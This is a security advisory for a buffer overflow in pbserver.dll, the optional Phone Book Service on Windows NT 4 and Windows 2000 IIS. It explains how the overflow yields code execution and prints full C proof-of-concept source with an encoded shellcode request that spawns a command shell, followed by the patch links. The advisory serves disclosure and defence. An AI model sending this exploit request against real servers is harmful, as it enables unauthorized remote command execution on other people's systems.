COMMAND

    Phonebook

SYSTEMS AFFECTED

    WinNT, Win2000

PROBLEM

    Following  is  based  on  a  CORE-20001204 Security Advisory.  The
    Phone Book Service  is an optional  component that ships  with the
    NT  4  Option  Pack  and  Windows  2000.   It  is not installed by
    default.

    A  buffer  overflow  vulnerability  was  discovered  in  the   URL
    processing routines of  the Phone Book  Service requests on  IIS 4
    and IIS 5.   If exploited, this  vulnerability allows an  attacker
    to execute arbitrary code and  obtain a remote command shell  with
    those privileges of  the IUSR_machinename account  (IIS 4) or  the
    IWAM_machinename account (IIS 5).

    The Phone  Book server  services requests  using the  IIS 5.0 with
    URIs such as http://hostname/pbserver/

    According  to  Microsoft's  documentation  a DLL (PBSERVER.DLL) is
    exported and   the services can  be used making  requests with the
    following format:

        http://hostname/pbserver/pbserver.dll?osarch=&ostype=&osver=&cmver=&lcid=&pbver=&pb=<STRING=db name>

    In the  DLL checks  the total  length to  ensure that request does
    not exceed 1024 bytes, however it is possible to overflow a  local
    variable of fixed length in the DLL by sending a request with  the
    following form:

        GET /pbserver/pbserver.dll?&&&&&&pb=AAAAAA... (less than 980 chars) HTTP/1.0\n\n

    The result is an exception  reported in the Event log  with source
    WAM like the following:

        The HTTP server encountered an unhandled exception while processing the
        ISAPI Application '
        + 0x41414143
        + 0x41414139
        pbserver!HttpExtensionProc + 0x1C
        wam!DllGetClassObject + 0x808
        RPCRT4!NdrServerInitialize + 0x4DB
        RPCRT4!NdrStubCall2 + 0x586
        RPCRT4!CStdStubBuffer_Invoke + 0xC1
        ole32!StgGetIFillLockBytesOnFile + 0x116EC
        ole32!StgGetIFillLockBytesOnFile + 0x12415
        ole32!DcomChannelSetHResult + 0xDF0
        ole32!DcomChannelSetHResult + 0xD35
        ole32!StgGetIFillLockBytesOnFile + 0x122AD
        ole32!StgGetIFillLockBytesOnFile + 0x1210A
        ole32!StgGetIFillLockBytesOnFile + 0x11E22
        RPCRT4!NdrServerInitialize + 0x745
        RPCRT4!NdrServerInitialize + 0x652
        RPCRT4!NdrServerInitialize + 0x578
        RPCRT4!RpcSmDestroyClientContext + 0x9E
        RPCRT4!NdrConformantArrayFree + 0x8A5
        RPCRT4!NdrConformantArrayFree + 0x3FC
        RPCRT4!RpcBindingSetOption + 0x395
        RPCRT4!RpcBindingSetOption + 0x18E
        RPCRT4!RpcBindingSetOption + 0x4F8
        KERNEL32!CreateFileA + 0x11B
        '.

    By sending a carefully crafted HTTP request an attacker can bypass
    the  total  length  check  and   overflow  a  local  variable   in
    PBSERVER.DLL allowing  the execution  of arbitrary  code with  the
    privileges  of  the  IUSR_machinename  account  (IIS  4)  or   the
    IWAM_machinename account (IIS 5)  on the vulnerable systems.

    @stake released also Security Advisory regarding this issue  since
    they found it  too (David Litchfield).   The overflow occurs  when
    the PB parameter of the query  string is overly long.  By  filling
    this parameter with uppercase  'A's the inetinfo process  crashes.
    A quick look at the code at this point shows:

        cmp dword ptr[esi+4],ebp
        jne 69A2196C
        mov eax, dword ptr [esi]
        push eax
        mov ecx, dword ptr [eax]
        call dword ptr[ecx+1Ch]

    The ESI  register has  been filled  with the  user supplied AAAAs.
    By setting ESI  to somewhere in  memory which can  read avoids the
    crash, here, however looking on down the code you see that if  the
    esi is  set to  an address  that contains  a pointer  to the  user
    supplied buffer  then it  will be  called eventually  - in a round
    about way.  Dpoing this then, the ESI is set to 0x5E9351E4 -  this
    address has  a pointer  back to  the user  supplied buffer - which
    floats  around  the  0x0027****  area.  This 0x0027**** address is
    then  moved  into  the  EAX  register.  If  the  value  at address
    0x0027**** is set to 0x5e93554c what happens is when what the  EAX
    points to is moved into the  ECX and ECX+1Ch is called it  lands a
    couple  of  bytes  above  the  user  supplied buffer.  There are a
    couple of bytes  of mess to  ride through, a  few fields of  nulls
    and other bits and bobs here  and there but the whole code  in the
    buffer is eventually executed.

    As  proof  of  concept  the  following  code  will  spawn a shell,
    perform a directory listing and  pipe the output to a  file called
    psrvorun.txt, created  in the  winnt\system32 directory.   You can
    test for the existance of the  overrun on NT 4.0 SP 6a  using this
    program.  It has only been  tested to work when the target  system
    is SP 6a.  Proof of concept code:

    #include <windows.h>
    #include <winsock.h>
    #include <string.h>
    #include <stdio.h>
    
    
    
    struct sockaddr_in sa;
    struct hostent *he;
    SOCKET sock;
    char hostname[256]="";
    
    int main(int argc, char *argv[])
    {
	    int chk=0;
	    if(argc !=3)
		    {
			    printf("Usage: c:\\>%s host port\nTests for the
    pbserver.dll buffer overrun in IIS\nDavid Litchfield
    (dlitchfield@atstake.com)",argv[0]);
			    return 0;
		    }
    
    
	    strncpy(hostname,argv[1],250);
    
	    chk = startWSOCK(hostname);
	    if(chk !=0)
		    {
			    printf("Winsock error");
			    return 0;
		    }
    
	    CheckWeb(atoi(argv[2]));
	    return 0;
    
    
    }
    
    
    
    int startWSOCK(char *swhost)
    {
	    int err=0;
	    WORD wVersionRequested;
	    WSADATA wsaData;
    
	    wVersionRequested = MAKEWORD( 2, 0 );
	    err = WSAStartup( wVersionRequested, &wsaData );
	    if ( err != 0 )
		    {
    
			    return 2;
		    }
	    if ( LOBYTE( wsaData.wVersion ) != 2 || HIBYTE( wsaData.wVersion )
    != 0 )
		    {
   	 		    WSACleanup( );
    			    return 3;
		    }
    
	    if ((he = gethostbyname(swhost)) == NULL)
		    {
			    return 4;
		    }
	    sa.sin_addr.s_addr=INADDR_ANY;
	    sa.sin_family=AF_INET;
	    memcpy(&sa.sin_addr,he->h_addr,he->h_length);
    
	    return 0;
    }
    
    
    
    
    
    int CheckWeb(int port)
    {
    
	    int snd, rcv, err, count =0,incount = 0;
    
    /* the following line may wrap */
    char *buffer="GET /pbserver/pbserver.dll?OSArch=0&OSType=2&LCID=EEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEE&OSVer=%55%8B%EC%90%90%90%90%90%bb%ff%ff%ff%ff%83%eb%8b%53%68%6e%2e%74%78%68%76%6f%72%75%68%20%70%73%72%68%69%72%20%3e%68%2f%63%20%64%90%90&CMVer=%68%65%78%65%20%68%63%6d%64%2e%B8%86%a9%f1%77%8b%dc%33%f6%56%53%ff%d0%90%90DDDDDDDDDDDDDDDDDDD&PBVer=&0PB=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA%4c%55%93%5e%cc%ccAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA%e4%51%93%5ennnn HTTP/1.1\r\nHost: 127.0.0.1\r\n\r\n";
    
    
	    sa.sin_port=htons(port);
	    sock=socket(AF_INET,SOCK_STREAM,0);
	    bind(sock,(struct sockaddr *)&sa,sizeof(sa));
    
    
    
    
	    if (sock==INVALID_SOCKET)
		    {
			    closesocket(sock);
			    return 0;
		    }
	    if(connect(sock,(struct sockaddr *)&sa,sizeof(sa)) < 0)
		    {
    
			    closesocket(sock);
			    printf("Failed to connect\n");
			    return 0;
		    }
	    else
		    {
			    snd = send(sock,buffer,strlen(buffer),0);
			    printf("Buffer sent.\n");
		    }
    
    closesocket(sock);
    return 0;
    }

SOLUTION

    Patches:

        WinNT: http://www.microsoft.com/Downloads/Release.asp?ReleaseID=26193
      Win2000: http://www.microsoft.com/Downloads/Release.asp?ReleaseID=25531

    The NT 4.0 fix  can be applied to  systems running NT 4.0  Service
    Pack 6a.  This fix will be included in NT 4.0 Service Pack 7.  The
    Windows 2000 fix  can be applied  to Windows 2000  Gold or Service
    Pack 1.  This fix will be included in Windows 2000 Service Pack 2.